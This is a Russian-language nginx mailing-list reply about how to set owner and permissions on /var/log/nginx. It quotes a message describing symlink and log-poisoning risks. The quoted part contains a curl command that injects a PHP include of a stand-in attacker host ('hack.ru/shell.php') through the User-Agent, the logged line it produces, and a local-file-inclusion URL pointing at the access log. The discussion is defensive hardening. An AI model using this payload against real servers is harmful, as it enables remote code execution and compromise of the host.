/var/log/nginx

Maxim Dounin mdounin на mdounin.ru
Вт Дек 14 21:51:54 MSK 2010


Hello!

On Tue, Dec 14, 2010 at 08:05:34PM +0200, Gena Makhomed wrote:

> Здравствуйте!
> 
> есть небольшие проблемы с /var/log/nginx
> 
> 1. если владелец этого каталога nginx:nginx,
> и права доступа 0700 - такая установка будет уязвима
> к symlink attack, потому что лог-файлы в этом каталоге
> master-процесс открывает на запись при запуске nginx
> и он не делает никаких проверок symlink это или нет.
> 
> 2. если владелец этого каталога root:root,
> и права доступа 0755 - такая установка будет уязвима
> к атаке "php local file inclusion vulnerability
> elevation to remote code execution":
> 
> # curl -A "<? include 'http://hack.ru/shell.php'; ?>" http://t/
> 
> # tail -n 1 /var/log/nginx/access.log
> 10.10.10.10 - - [14/Dec/2010:19:34:24 +0200] "GET / HTTP/1.1" 200
> 15777 "-" "<? include 'http://hack.ru/shell.php' ?>"
> 
> и если запущенный на хосте PHP можно каким-то путем заставить сделать
> include этого локального файла - выполнится код с удаленного сайта.
> например, http://site.ru/index.php?file=/var/log/nginx/access.log
> 
> код "<? include 'http://hack.ru/shell.php' ?>"  приведен только
> для примера, на самом деле, там может быть любой php-код, который
> будет работать даже в случае если параметр allow_url_fopen = Off
> 
> 3. если владелец этого каталога root:nginx,
> и права доступа 0750 - на первый взгляд всё нормально,
> однако если php-fastcgi входит в группу nginx,
> или пользователь httpd входит в группу nginx,
> то будет тот же результат, что и в п.2 - так что
> это решение можно назвать ненадежным и частичным.

Помимо случаев (2) и (3), кмк, стоит ещё рассмотреть случаи 
"php-fastcgi имеет uid 0" и "администратор написал пароль от 
root'а на стене".

Права на каталог с логами root:wheel 755 - хорошие, годные (только 
нужно не забывать при вращении создавать файлы с owner'ом nginx 
перед USR1, а то воркеры останутся без логов).

Проблемы же PHP нужно фиксить в рамках PHP.

Maxim Dounin



Подробная информация о списке рассылки nginx-ru